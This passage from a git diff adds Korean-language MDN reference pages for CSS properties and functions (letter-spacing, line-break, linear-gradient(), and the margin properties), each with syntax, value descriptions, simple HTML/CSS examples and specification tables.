letter-spacing CSS 속성은 글자 사이의 간격을 조절합니다.

+ +
{{EmbedInteractiveExample("pages/css/letter-spacing.html")}}
+ + + +

구문

+ +
/* 키워드 값 */
+letter-spacing: normal;
+
+/* <length> 값 */
+letter-spacing: 0.3em;
+letter-spacing: 3px;
+letter-spacing: .3px;
+
+/* 전역 값 */
+letter-spacing: inherit;
+letter-spacing: initial;
+letter-spacing: unset;
+
+ +

+ +
+
normal
+
현재 글꼴의 기본 간격. 0과 달리, auto는 {{glossary("user agent", "사용자 에이전트")}}가 양쪽 정렬을 위해 간격을 임의로 조절할 수 있습니다.
+
{{cssxref("<length>")}}
+
기본 간격에 추가할 글자간 간격. 음수 값을 지정할 수 있지만 구현에 따라 한계가 있을 수 있습니다. 사용자 에이전트가 간격을 줄이거나 늘리지 않습니다.
+
+ +

형식 구문

+ +
{{csssyntax}}
+ +

예제

+ +

HTML

+ +
<p class="normal">글자 간격</p>
+<p class="em-wide">글자 간격</p>
+<p class="em-wider">글자 간격</p>
+<p class="em-tight">글자 간격</p>
+<p class="px-wide">글자 간격</p>
+
+ +

CSS

+ +
.normal   { letter-spacing: normal; }
+.em-wide  { letter-spacing: 0.4em; }
+.em-wider { letter-spacing: 1em; }
+.em-tight { letter-spacing: -0.05em; }
+.px-wide  { letter-spacing: 6px; }
+
+ +

결과

+ +

{{ EmbedLiveSample('예제', 440, 185) }}

+ +

접근성 고려사항

+ +

letter-spacing 값의 절댓값이 너무 크면 스타일을 적용한 글을 읽기 힘들어집니다. 지나치게 큰 값으로는 글자 간격이 지나치게 넓어져 단어를 이루지 못하고 따로 따로 보입니다. 반대로 지나친 음숫값은 글자가 서로 겹쳐 알아볼 수 없습니다.

+ +

글꼴마다 문자의 너비가 다르므로 읽기에 용이한 간격은 상황에 따라 다릅니다. 모든 글꼴에 적합한 하나의 값은 존재하지 않습니다.

+ + + +

명세

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('CSS3 Text', '#letter-spacing-property', 'letter-spacing')}}{{Spec2('CSS3 Text')}}No change.
{{SpecName('CSS3 Transitions', '#animatable-css', 'letter-spacing')}}{{Spec2('CSS3 Transitions')}}Defines letter-spacing as animatable.
{{SpecName('CSS2.1', 'text.html#propdef-letter-spacing', 'letter-spacing')}}{{Spec2('CSS2.1')}}No change.
{{SpecName('SVG1.1', 'text.html#LetterSpacingProperty', 'letter-spacing')}}{{Spec2('SVG1.1')}}Initial SVG definition.
{{SpecName('CSS1', '#letter-spacing', 'letter-spacing')}}{{Spec2('CSS1')}}Initial definition.
+ +

{{cssinfo}}

+ +

브라우저 호환성

+ + + +

{{Compat("css.properties.letter-spacing")}}

+ +

같이 보기

+ +
    +
  • {{cssxref("font-kerning")}}
  • +
diff --git a/files/ko/web/css/line-break/index.html b/files/ko/web/css/line-break/index.html new file mode 100644 index 0000000000..76fabd4316 --- /dev/null +++ b/files/ko/web/css/line-break/index.html @@ -0,0 +1,112 @@ +--- +title: line-break +slug: Web/CSS/line-break +tags: + - CSS + - CSS Property + - CSS Text + - Reference + - i18n + - l10n + - 'recipe:css-property' +translation_of: Web/CSS/line-break +--- +
{{CSSRef}}
+ +

CSS line-break 속성은 한중일(CJK) 3개국어의 텍스트 줄을 어디서 바꿀지 지정합니다.

+ +
/* 키워드 값 */
+line-break: auto;
+line-break: loose;
+line-break: normal;
+line-break: strict;
+line-break: anywhere;
+
+/* 전역 값 */
+line-break: inherit;
+line-break: initial;
+line-break: unset;
+
+ +

구문

+ +

+ +
+
auto
+
기본 줄 바꿈 규칙을 사용합니다.
+
loose
+
가장 자유로운 줄 바꿈 규칙을 사용합니다. 보통 신문 등 짧은 줄에서 사용합니다.
+
normal
+
가장 흔한 줄 바꿈 규칙을 사용합니다.
+
strict
+
가장 엄격한 줄 바꿈 규칙을 사용합니다.
+
anywhere
+
+

모든 타이포그래피 글자 단위 주위에서 줄을 바꿀 수 있습니다. 줄 바꿈 위치는 모든 문장 부호, 공백, 단어 중간을 포함하며 GL, WJ, ZWJ 문자 클래스가 나타내는 줄 바꿈 제한 및 {{cssxref("word-break")}}가 요구하는 규칙 모두 무시할 수 있습니다. 붙임표는 사용하지 않습니다.

+
+
+ +

형식 정의

+ +

{{cssinfo}}

+ +

형식 구문

+ +
{{csssyntax}}
+ +

예제

+ +

줄 바꿈 지정하기

+ +

줄 바꿈이 "々", "ぁ", "。"의 주위에서 어떻게 발생하는지 살펴보세요.

+ +

HTML

+ +
<div lang="ja">
+  <p class="wrapbox auto">auto:<br>そこは湖のほとりで木々が輝いていた。<br>その景色に、美しいなぁと思わずつぶやいた。</p>
+  <p class="wrapbox loose">loose:<br>そこは湖のほとりで木々が輝いていた。<br>その景色に、美しいなぁと思わずつぶやいた。</p>
+  <p class="wrapbox normal">normal:<br>そこは湖のほとりで木々が輝いていた。<br>その景色に、美しいなぁと思わずつぶやいた。</p>
+  <p class="wrapbox strict">strict:<br>そこは湖のほとりで木々が輝いていた。<br>その景色に、美しいなぁと思わずつぶやいた。</p>
+  <p class="wrapbox anywhere">anywhere:<br>そこは湖のほとりで木々が輝いていた。<br>その景色に、美しいなぁと思わずつぶやいた。</p>
+</div>
+
+ +

CSS

+ +
.wrapbox { width: 10em; margin: 0.5em; white-space: normal; vertical-align: top; display: inline-block; }
+.auto { line-break: auto; }
+.loose { line-break: loose; }
+.normal { line-break: normal; }
+.strict { line-break: strict; }
+.anywhere { line-break: anywhere; }
+
+ +

결과

+ +

{{ EmbedLiveSample('줄_바꿈_지정하기', 200, 400) }}

+ +

명세

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('CSS3 Text', '#line-break-property', 'line-break')}}{{Spec2('CSS3 Text')}}Initial definition
+ +

브라우저 호환성

+ + + +

{{Compat("css.properties.line-break")}}

diff --git a/files/ko/web/css/linear-gradient()/index.html b/files/ko/web/css/linear-gradient()/index.html new file mode 100644 index 0000000000..74635f0434 --- /dev/null +++ b/files/ko/web/css/linear-gradient()/index.html @@ -0,0 +1,204 @@ +--- +title: linear-gradient +slug: Web/CSS/linear-gradient() +tags: + - CSS + - CSS Function + - CSS Images + - Graphics + - Layout + - Reference + - Web + - gradient + - 그라데이션 + - 그레이디언트 +translation_of: Web/CSS/linear-gradient() +--- +
{{CSSRef}}
+ +

CSS linear-gradient() 함수는 두 개 이상의 색이 직선을 따라 점진적으로 변화하는 이미지를 생성합니다. 함수의 결과는 {{cssxref("<image>")}}의 특별한 종류인 {{cssxref("<gradient>")}} 자료형입니다.

+ +
{{EmbedInteractiveExample("pages/css/function-linear-gradient.html")}}
+ + + +

구문

+ +
/* 45도로 기울어진 파랑 시작 빨강 종료 그레이디언트 */
+linear-gradient(45deg, blue, red);
+
+/* 우하단에서 좌상단으로, 파랑 시작 빨강 종료 그레이디언트 */
+linear-gradient(to left top, blue, red);
+
+/* 색상 정지점: 아래에서 위로,
+   파랑에서 시작해 길이의 40%에서 초록으로,
+   빨강 종료 그레이디언트 */
+linear-gradient(0deg, blue, green 40%, red);
+
+/* 색상 힌트: 왼쪽에서 오른쪽으로,
+   빨강에서 시작해 길이의 10% 지점에서 중간 색상으로,
+   나머지 90% 길이 동안 파랑으로 변하는 그레이디언트 */
+linear-gradient(.25turn, red, 10%, blue);
+
+/* 다중 위치 색상 정지점: 45도 기울어진,
+   좌하단 절반 빨강, 우상단 파랑 절반에
+   두 색이 만나는 지점을 정확히 나누는 그레이디언트 */
+linear-gradient(45deg, red 0 50%, blue 50% 100%);
+ +

+ +
+
<side-or-corner>
+
그레이디언트 축의 시작점. 지정할 경우, to 이후 최대 두 개의 방향을 나타내는 키워드를 사용할 수 있습니다. 하나는 수평 방향(left 또는 right)이고, 다른 하나는 수직 방향(top 또는 bottom)입니다. 방향 키워드의 순서는 상관하지 않으며, 기본값은 to bottom입니다.
+
to top, to bottom, to leftto right 값은 0deg, 180deg, 270deg, 90deg와 같습니다. 나머지 값은 각도로 변환됩니다.
+
{{cssxref("<angle>")}}
+
그레이디언트 축의 방향. 0degto top과 같습니다. 0 이상의 값을 지정하면 축이 시계방향으로 돌아갑니다.
+
<linear-color-stop>
+
색상 정지점의 {{CSSxRef("<color>")}} 값과 하나 혹은 두 개의 선택적인 정지점 위치. (각각 그레이디언트 축 위의 {{cssxref("<percentage>")}} 또는 {{CSSxRef("<length>")}})
+
<color-hint>
+
color-hint는 두 인접한 색상 정지점 사이에서 그레이디언트가 진행하는 방식을 지정하는 보간 힌트입니다. 길이는 두 정지점 간의 길이에서 어느 지점에 그 중간 색에 도달해야 하는지 지정합니다. 생략할 경우 가운데에서 중간 색에 도달합니다.
+
+
+

참고: CSS 그레이디언트에서의 색상 정지점 렌더링SVG 그레이디언트에서의 색상 정지점과 동일한 규칙을 따라갑니다.

+
+
+
+ +

설명

+ +

다른 그레이디언트와 마찬가지로, 선형 그레이디언트는 본질 크기를 가지지 않습니다. 즉 기본 크기나 선호 크기, 선호 비율이 없으며, 실제 크기는 그레이디언트를 적용한 요소의 크기와 동일해집니다.

+ +

반복하여 컨테이너를 채우는 선형 그레이디언트가 필요하면 {{cssxref("repeating-linear-gradient")}} 함수를 사용하세요.

+ +

<gradient><image>의 한 종류로서 <image>를 사용하는 곳에만 적용할 수 있습니다. 따라서 linear-gradient()는 {{cssxref("background-color")}}와 같은 {{cssxref("<color>")}} 자료형을 받는 속성에는 사용할 수 없습니다.

+ +

선형 그레이디언트의 구성

+ +

선형 그레이디언트는 하나의 축(그레이디언트 라인)과 두 개 이상의 색상 정지점으로 정의할 수 있습니다. 축 위의 점은 모두 고유한 색을 가집니다. linear-gradient() 함수는 부드러운 그레이디언트를 만들기 위해 축과 직교하는 무수한 선을 그리며, 각 수직선의 색은 축과 교차하는 점의 색과 일치합니다.

+ +

linear-gradient.png그레이디언트 축은 그레이디언트 이미지를 담은 직사각형의 중심점과 각도로 정의할 수 있습니다. 그레이디언트 색상은 시작점과 종료점, 그리고 그 사이의 다른 정지점 등 두 개 이상의 색상 정지점이 정의합니다.

+ +

시작점은 그레이디언트 축의 한 점으로, 첫 번째 색상이 시작하는 지점입니다. 종료점은 마지막 색상이 끝나는 지점입니다. 두 점은 직사각형에서 자신과 같은 사분면에 위치하는 꼭지점으로부터 시작하여 그레이디언트 축과 직교하는 지점으로 정의합니다. 종료점은 시작점의 대칭점으로 간단하게 알아둘 수도 있습니다. 이렇게 다소 복잡한 정의로 인해, 시작점과 가장 가까운 꼭지점이 시작점의 색을, 종료점과 가장 가까운 꼭지점이 종료점의 색을 갖는 특이한 효과를 확인할 수도 있습니다. 이 효과는 "매직 코너"라고 불리기도 합니다.

+ +

그레이디언트 만들기

+ +

그레이디언트 축에 색상 정지점을 더 추가하여, 다양한 색 사이로 전환하는, 고도로 맞춤화한 그레이디언트를 만들 수 있습니다. 색상 정지점의 위치는 {{cssxref("<length>")}}나 {{cssxref("<percentage>")}}를 사용해 명시적으로 지정할 수 있습니다. 따로 위치를 정하지 않으면 이전 정지점과 다음 정지점의 중간 지점에 위치합니다. 다음 두 그레이디언트는 동일합니다.

+ +
linear-gradient(red, orange, yellow, green, blue);
+linear-gradient(red 0%, orange 25%, yellow 50%, green 75%, blue 100%);
+ +

기본적으로 그레이디언트에서 색상 전환은 하나의 색상 정지점에서 다른 색상 정지점으로 부드럽게 일어나고, 가운데 지점은 두 색상의 사이값을 가집니다. 그러나 두 색의 사이에 색상 힌트를 넣어서 직접 색의 중간 지점을 정할 수도 있습니다. 다음 예제의 그레이디언트는 시작점에서 10% 지점까지 완전한 빨강이고, 90% 지점까지는 빨강에서 파랑으로 서서히 전환하며, 마지막 10%는 완전한 파랑입니다. 그러나 빨강과 파랑 사이 전환의 중간 지점은 50%가 아닌 30% 지점이 됩니다.

+ +
linear-gradient(red 10%, 30%, blue 90%);
+ +

두 개 이상의 색상 정지점을 같은 위치에 배치하면 부드럽게 전환하는 대신 이전 색과 다음 색이 경계선을 그리며 바로 바뀝니다.

+ +

색상 정지점의 순서는 오름차순이어야 합니다. 다음 정지점의 위치가 이전 정지점보다 앞이면, 이전 정지점의 위치를 재설정하고 색 전환도 경계선을 그리며 일어납니다. 다음 그레이디언트는 30% 지점에서 빨강에서 노랑으로 바뀌고, 65% 지점까지 파랑으로 전환합니다.

+ +
linear-gradient(red 40%, yellow 30%, blue 65%);
+
+ +

색상 정지점이 여러 위치를 가질 수도 있습니다. 색상을 선언할 때 인접한 두 정지점의 위치를 모두 포함할 수 있습니다. 다음 세 그레이디언트는 모두 같습니다.

+ +
linear-gradient(red 0%, orange 10%, orange 30%, yellow 50%, yellow 70%, green 90%, green 100%);
+linear-gradient(red, orange 10% 30%, yellow 50% 70%, green 90%);
+linear-gradient(red 0%, orange 10% 30%, yellow 50% 70%, green 90% 100%);
+ +

기본적으로, 0% 지점에 색을 할당하지 않으면 처음으로 선언한 색이 0%에 배치됩니다. 비슷하게 100% 지점에 색이 없는 경우 마지막 색이 100% 지점까지 도달합니다.

+ +

예제

+ +

45도 기울어진 그레이디언트

+ + + +
body {
+  background: linear-gradient(45deg, red, blue);
+}
+
+ +

{{EmbedLiveSample("45도_기울어진_그레이디언트", 120, 120)}}

+ +

축의 60% 지점에서 시작하는 그레이디언트

+ + + +
body {
+  background: linear-gradient(135deg, orange 60%, cyan);
+}
+ +

{{EmbedLiveSample("축의_60_지점에서_시작하는_그레이디언트", 120, 120)}}

+ +

다중 위치 색상 정지점을 가진 그레이디언트

+ +

이 예제는 다중 위치 색상 정지점을 사용하면서, 인접한 색상 정지점의 위치를 같게 하여 줄무늬 효과를 냅니다.

+ + + +
body {
+  background: linear-gradient(to right,
+     red 20%, orange 20% 40%, yellow 40% 60%, green 60% 80%, blue 80%);
+}
+ +

{{EmbedLiveSample("다중_위치_색상_정지점을_가진_그레이디언트", 120, 120)}}

+ +

더 많은 예제

+ +

CSS 그레이디언트 사용하기 문서에서 더 많은 예제를 확인하세요.

+ +

명세

+ + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('CSS4 Images', '#color-stop-syntax', 'Gradient Color-Stops')}}{{Spec2('CSS4 Images')}}Adds interpolation hints.
{{SpecName('CSS3 Images', '#linear-gradients', 'linear-gradient()')}}{{Spec2('CSS3 Images')}}Initial definition.
+ +

브라우저 호환성

+ + + +
{{Compat("css.types.image.gradient.linear-gradient")}}
+ +

같이 보기

+ +
    +
  • CSS 그레이디언트 사용하기
  • +
  • 다른 그레이디언트 함수: {{CSSxRef("repeating-linear-gradient")}}, {{CSSxRef("radial-gradient")}}, {{CSSxRef("repeating-radial-gradient")}}, {{CSSxRef("conic-gradient")}}, {{CSSxRef("repeating-conic-gradient")}}
  • +
  • {{CSSxRef("<image>")}}
  • +
  • {{cssxref("element()")}}
  • +
  • {{cssxref("_image","image()")}}
  • +
  • {{cssxref("image-set","image-set()")}}
  • +
  • {{cssxref("cross-fade")}}
  • +
diff --git a/files/ko/web/css/margin-bottom/index.html b/files/ko/web/css/margin-bottom/index.html new file mode 100644 index 0000000000..f374be0438 --- /dev/null +++ b/files/ko/web/css/margin-bottom/index.html @@ -0,0 +1,100 @@ +--- +title: margin-bottom +slug: Web/CSS/margin-bottom +tags: + - CSS + - CSS Property + - Reference +translation_of: Web/CSS/margin-bottom +--- +
{{CSSRef}}
+ +

margin-bottom CSS 속성은 요소의 아래쪽에 바깥 여백 영역margin area을 설정합니다. 양수 값은 인접 요소와 거리를 넓히고, 음수 값은 더 좁힙니다.

+ +
{{EmbedInteractiveExample("pages/css/margin-bottom.html")}}
+ + + +

{{HTMLElement("span")}}, {{HTMLElement("code")}} 등 비대체non-replaced 인라인 요소에는 효과가 없습니다.

+ +

구문

+ +
/* <length> 값 */
+margin-bottom: 10px;  /* 절대 길이 */
+margin-bottom: 1em;   /* 글씨 크기에 상대적 */
+margin-bottom: 5%;    /* 가장 가까운 블록 컨테이너의 너비에 상대적 */
+
+/* 키워드 값 */
+margin-bottom: auto;
+
+/* 전역 값 */
+margin-bottom: inherit;
+margin-bottom: initial;
+margin-bottom: unset;
+ +

margin-bottom 속성은 키워드 auto<length>, <percentage>를 사용해 설정할 수 있습니다. 값은 양수, 0, 음수가 가능합니다.

+ +

+ +
+
{{cssxref("<length>")}}
+
바깥 여백 크기의 고정 값.
+
{{cssxref("<percentage>")}}
+
바깥 여백 크기와 블록 컨테이너 너비의 비율.
+
auto
+
브라우저가 적절한 값 선택. {{cssxref("margin")}}을 참고하세요.
+
+ +

형식 구문

+ +
{{csssyntax}}
+ +

예제

+ +
.content { margin-bottom:   5%; }
+.sidebox { margin-bottom: 10px; }
+.logo    { margin-bottom: -5px; }
+#footer  { margin-bottom:  1em; }
+
+ +

명세

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('CSS3 Box', '#the-margin', 'margin-bottom')}}{{Spec2('CSS3 Box')}}No significant change
{{SpecName('CSS3 Transitions', '#animatable-css', 'margin-bottom')}}{{Spec2('CSS3 Transitions')}}Defines margin-bottom as animatable.
{{SpecName('CSS2.1', 'box.html#margin-properties', 'margin-bottom')}}{{Spec2('CSS2.1')}}Removes its effect on inline elements.
{{SpecName('CSS1', '#margin-bottom', 'margin-bottom')}}{{Spec2('CSS1')}}Initial definition
+ +

{{cssinfo}}

+ +

브라우저 호환성

+ + + +

{{Compat("css.properties.margin-bottom")}}

diff --git a/files/ko/web/css/margin-left/index.html b/files/ko/web/css/margin-left/index.html new file mode 100644 index 0000000000..9e1d9b9953 --- /dev/null +++ b/files/ko/web/css/margin-left/index.html @@ -0,0 +1,160 @@ +--- +title: margin-left +slug: Web/CSS/margin-left +tags: + - CSS + - CSS Property + - Layout + - Reference +translation_of: Web/CSS/margin-left +--- +
{{CSSRef}}
+ +

margin-left CSS 속성은 요소의 왼쪽에 바깥 여백 영역margin area을 설정합니다. 양수 값은 인접 요소와 거리를 넓히고, 음수 값은 더 좁힙니다.

+ +
{{EmbedInteractiveExample("pages/css/margin-left.html")}}
+ + + +

구문

+ +
/* <length> 값 */
+margin-left: 20px;  /* 절대 길이 */
+margin-left: 1em;   /* 글씨 크기에 상대적 */
+margin-left: 5%;    /* 가장 가까운 블록 컨테이너의 너비에 상대적 */
+
+/* 키워드 값 */
+margin-left: auto;
+
+/* 전역 값 */
+margin-left: inherit;
+margin-left: initial;
+margin-left: unset;
+
+ +

margin-left 속성은 키워드 auto<length>, <percentage>를 사용해 설정할 수 있습니다. 값은 양수, 0, 음수가 가능합니다.

+ +

+ +
+
{{cssxref("<length>")}}
+
바깥 여백 크기의 고정 값.
+
{{cssxref("<percentage>")}}
+
바깥 여백 크기와 블록 컨테이너 너비의 비율.
+
auto
+
사용한 레이아웃 모드에 따라 가로축 미사용 공간 너비의 일부를 바깥 여백에 할당. margin-left와 margin-right의 값이 모두 auto라면 너비를 양 여백에 동일하게 배정합니다. 아래 표가 가능한 여러 경우를 보입니다. + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
{{cssxref("display")}} 값{{cssxref("float")}} 값{{cssxref("position")}} 값auto의 계산 값설명
inline, inline-block, inline-tableanystatic or relative0인라인 레이아웃 모드
block, inline, inline-block, block, table, inline-table, list-item, table-captionanystatic or relative0, except if both margin-left and margin-right are set to auto. In this case, it is set to the value centering the element inside its parent.블록 레이아웃 모드
block, inline, inline-block, block, table, inline-table, list-item, table-captionleft or rightstatic or relative0블록 레이아웃 모드 (플로팅 요소)
any table-*, except table-captionanyany0내부 table-* 요소는 바깥 여백을 가지지 않습니다. 대신 {{ cssxref("border-spacing") }}을 사용하세요.
any, except flex, inline-flex, or table-*anyfixed or absolute0, except if both margin-left and margin-right are set to auto. In this case, it is set to the value centering the border area inside the available width, if fixed.절대위치 레이아웃 모드
flex, inline-flexanyany0, except if there is any positive horizontal free space. In this case, it is evenly distributed to all horizontal auto margins.플렉스박스 레이아웃 모드
+
+
+ +

형식 구문

+ +
{{csssyntax}}
+ +

예제

+ +
.content { margin-left: 5%; }
+.sidebox { margin-left: 10px; }
+.logo    { margin-left: -5px; }
+
+ +

명세

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{ SpecName('CSS3 Box', '#the-margin', 'margin-left') }}{{ Spec2('CSS3 Box') }}No significant change
{{ SpecName('CSS3 Transitions', '#animatable-css', 'margin-left') }}{{ Spec2('CSS3 Transitions') }}Defines margin-left as animatable.
{{SpecName('CSS3 Flexbox', '#item-margins', 'margin-left')}}{{ Spec2('CSS3 Flexbox') }}Defines the behavior of margin-right on flex items.
{{ SpecName('CSS2.1', 'box.html#margin-properties', 'margin-left') }}{{ Spec2('CSS2.1') }}Removes its effect on inline elements.
{{ SpecName('CSS1', '#margin-left', 'margin-left') }}{{ Spec2('CSS1') }}Initial definition.
+ +

{{cssinfo}}

+ +

브라우저 호환성

+ + + +

{{Compat("css.properties.margin-left")}}

diff --git a/files/ko/web/css/margin-right/index.html b/files/ko/web/css/margin-right/index.html new file mode 100644 index 0000000000..8547ce5bcd --- /dev/null +++ b/files/ko/web/css/margin-right/index.html @@ -0,0 +1,159 @@ +--- +title: margin-right +slug: Web/CSS/margin-right +tags: + - CSS + - CSS Property + - Reference +translation_of: Web/CSS/margin-right +--- +
{{CSSRef}}
+ +

margin-right CSS 속성은 요소의 오른쪽에 바깥 여백 영역margin area을 설정합니다. 양수 값은 인접 요소와 거리를 넓히고, 음수 값은 더 좁힙니다.

+ +
{{EmbedInteractiveExample("pages/css/margin-right.html")}}
+ + + +

구문

+ +
/* <length> 값 */
+margin-right: 20px;  /* 절대 길이 */
+margin-right: 1em;   /* 글씨 크기에 상대적 */
+margin-right: 5%;    /* 가장 가까운 블록 컨테이너의 너비에 상대적 */
+
+/* 키워드 값 */
+margin-right: auto;
+
+/* 전역 값 */
+margin-right: inherit;
+margin-right: initial;
+margin-right: unset;
+
+ +

margin-right 속성은 키워드 auto<length>, <percentage>를 사용해 설정할 수 있습니다. 값은 양수, 0, 음수가 가능합니다.

+ +

+ +
+
{{cssxref("<length>")}}
+
바깥 여백 크기의 고정 값.
+
{{cssxref("<percentage>")}}
+
바깥 여백 크기와 블록 컨테이너 너비의 비율.
+
auto
+
사용한 레이아웃 모드에 따라 가로축 미사용 공간 너비의 일부를 바깥 여백에 할당. margin-left와 margin-right의 값이 모두 auto라면 너비를 양 여백에 동일하게 배정합니다. 아래 표가 가능한 여러 경우를 보입니다. + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
{{cssxref("display")}} 값{{cssxref("float")}} 값{{cssxref("position")}} 값auto의 계산 값설명
inline, inline-block, inline-tableanystatic or relative0인라인 레이아웃 모드
block, inline, inline-block, block, table, inline-table, list-item, table-captionanystatic or relative0, except if both margin-left and margin-right are set to auto. In this case, it is set to the value centering the element inside its parent.블록 레이아웃 모드
block, inline, inline-block, block, table, inline-table, list-item, table-captionleft or rightstatic or relative0블록 레이아웃 모드 (플로팅 요소)
any table-*, except table-captionanyany0내부 table-* 요소는 바깥 여백을 가지지 않습니다. 대신 {{ cssxref("border-spacing") }}을 사용하세요.
any, except flex, inline-flex, or table-*anyfixed or absolute0, except if both margin-left and margin-right are set to auto. In this case, it is set to the value centering the border area inside the available width, if fixed.절대위치 레이아웃 모드
flex, inline-flexanyany0, except if there is any positive horizontal free space. In this case, it is evenly distributed to all horizontal auto margins.플렉스박스 레이아웃 모드
+
+
+ +

형식 구문

+ +
{{csssyntax}}
+ +

예제

+ +
.content { margin-right: 5%; }
+.sidebox { margin-right: 10px; }
+.logo    { margin-right: -5px; }
+
+ +

명세

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{ SpecName('CSS3 Box', '#the-margin', 'margin-right') }}{{ Spec2('CSS3 Box') }}No significant change
{{ SpecName('CSS3 Transitions', '#animatable-css', 'margin-right') }}{{ Spec2('CSS3 Transitions') }}Defines margin-right as animatable.
{{SpecName('CSS3 Flexbox', '#item-margins', 'margin-right')}}{{ Spec2('CSS3 Flexbox') }}Defines the behavior of margin-right on flex items.
{{ SpecName('CSS2.1', 'box.html#margin-properties', 'margin-right') }}{{ Spec2('CSS2.1') }}Removes its effect on inline elements.
{{ SpecName('CSS1', '#margin-right', 'margin-right') }}{{ Spec2('CSS1') }}Initial definition.
+ +

{{cssinfo}}

+ +

브라우저 호환성

+ + + +

{{Compat("css.properties.margin-right")}}

diff --git a/files/ko/web/css/margin-top/index.html b/files/ko/web/css/margin-top/index.html new file mode 100644 index 0000000000..008ab67ade --- /dev/null +++ b/files/ko/web/css/margin-top/index.html @@ -0,0 +1,100 @@ +--- +title: margin-top +slug: Web/CSS/margin-top +tags: + - CSS + - CSS Property + - Reference +translation_of: Web/CSS/margin-top +--- +
{{CSSRef}}
+ +

margin-top CSS 속성은 요소의 위쪽에 바깥 여백 영역margin area을 설정합니다. 양수 값은 인접 요소와 거리를 넓히고, 음수 값은 더 좁힙니다.

+ +
{{EmbedInteractiveExample("pages/css/margin-top.html")}}
+ + + +

{{HTMLElement("span")}}, {{HTMLElement("code")}} 등 비대체non-replaced 인라인 요소에는 효과가 없습니다.

+ +

구문

+ +
/* <length> 값 */
+margin-top: 10px;  /* 절대 길이 */
+margin-top: 1em;   /* 글씨 크기에 상대적 */
+margin-top: 5%;    /* 가장 가까운 블록 컨테이너의 너비에 상대적 */
+
+/* 키워드 값 */
+margin-top: auto;
+
+/* 전역 값 */
+margin-top: inherit;
+margin-top: initial;
+margin-top: unset;
+ +

margin-top 속성은 키워드 auto<length>, <percentage>를 사용해 설정할 수 있습니다. 값은 양수, 0, 음수가 가능합니다.

+ +

+ +
+
{{cssxref("<length>")}}
+
바깥 여백 크기의 고정 값.
+
{{cssxref("<percentage>")}}
+
바깥 여백 크기와 블록 컨테이너 너비의 비율.
+
auto
+
브라우저가 적절한 값 선택. {{cssxref("margin")}}을 참고하세요.
+
+ +

형식 구문

+ +
{{csssyntax}}
+ +

예제

+ +
.content { margin-top:   5%; }
+.sidebox { margin-top: 10px; }
+.logo    { margin-top: -5px; }
+#footer  { margin-top:  1em; }
+
+ +

명세

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('CSS3 Box', '#the-margin', 'margin-top')}}{{Spec2('CSS3 Box')}}No significant change
{{SpecName('CSS3 Transitions', '#animatable-css', 'margin-top')}}{{Spec2('CSS3 Transitions')}}Defines margin-top as animatable.
{{SpecName('CSS2.1', 'box.html#margin-properties', 'margin-top')}}{{Spec2('CSS2.1')}}Removes its effect on inline elements.
{{SpecName('CSS1', '#margin-top', 'margin-top')}}{{Spec2('CSS1')}}Initial definition
+ +

{{cssinfo}}

+ +

브라우저 호환성

+ + + +

{{Compat("css.properties.margin-top")}}

diff --git a/files/ko/web/css/margin/index.html b/files/ko/web/css/margin/index.html new file mode 100644 index 0000000000..a1048fb37e --- /dev/null +++ b/files/ko/web/css/margin/index.html @@ -0,0 +1,176 @@ +--- +title: margin +slug: Web/CSS/margin +tags: + - CSS + - CSS Property + - Reference +translation_of: Web/CSS/margin +--- +
{{CSSRef}}
+ +

margin CSS 속성은 요소의 네 방향 바깥 여백 영역을 설정합니다. {{cssxref("margin-top")}}, {{cssxref("margin-right")}}, {{cssxref("margin-bottom")}}, {{cssxref("margin-left")}}의 단축 속성입니다.

+ +
{{EmbedInteractiveExample("pages/css/margin.html")}}
+ + + +

위와 아래 여백은 대체 요소가 아닌 {{HTMLElement("span")}}, {{HTMLElement("code")}} 등 인라인 요소에선 아무 효과도 없습니다.

+ +
+

참고: margin은 요소의 주위에 빈 공간을 추가합니다. 반면 {{cssxref("padding")}}은 요소의 내부에 빈 공간을 만듭니다.

+
+ +

구문

+ +
/* 네 면 모두 적용 */
+margin: 1em;
+margin: -3px;
+
+/* 세로방향 | 가로방향 */
+margin: 5% auto;
+
+/* 위 | 가로방향 | 아래 */
+margin: 1em auto 2em;
+
+/* 위 | 오른쪽 | 아래 | 왼쪽 */
+margin: 2px 1em 0 auto;
+
+/* 전역 값 */
+margin: inherit;
+margin: initial;
+margin: unset;
+
+ +

margin 속성은 한 개, 두 개, 세 개, 혹은 네 개의 값으로 지정할 수 있습니다. 각 값은 {{cssxref("<length>")}}, {{cssxref("<percentage>")}} 또는 키워드 {{anch("auto")}} 중 하나입니다. 음수 값은 요소와 이웃의 거리가 더 가까워지도록 합니다.

+ +
    +
  • 한 개의 값은 모든 네 면의 여백을 설정합니다.
  • +
  • 두 개의 값을 지정하면 첫 번째는 위와 아래, 두 번째는 왼쪽과 오른쪽 여백을 설정합니다.
  • +
  • 세 개의 값을 지정하면 첫 번째는 , 두 번째는 왼쪽과 오른쪽, 세 번째 값은 아래 여백을 설정합니다.
  • +
  • 네 개의 값을 지정하면 각각 상, 우, 하, 좌 순서로 여백을 지정합니다. (시계방향)
  • +
+ +

+ +
+
{{cssxref("length")}}
+
여백의 크기로 고정값 사용.
+
{{cssxref("<percentage>")}}
+
여백의 크기로 컨테이닝 블록 너비의 백분율 사용.
+
auto
+
브라우저가 적절한 여백 크기를 선택. 예를 들어 요소를 중앙 정렬하고 싶을 때 사용할 수 있습니다.
+
+ +

형식 구문

+ +
{{csssyntax}}
+ +

예제

+ +

간단한 예제

+ +

HTML

+ +
<div class="center">이 요소는 중앙 정렬입니다.</div>
+<div class="outside">이 요소는 컨테이너 밖으로 빠져 나갔습니다.</div>
+ +

CSS

+ +
.center {
+  margin: auto;
+  background: lime;
+  width: 66%;
+}
+
+.outside {
+  margin: 3rem 0 0 -3rem;
+  background: cyan;
+  width: 66%;
+}
+ +

{{ EmbedLiveSample('간단한_예제') }}

+ +

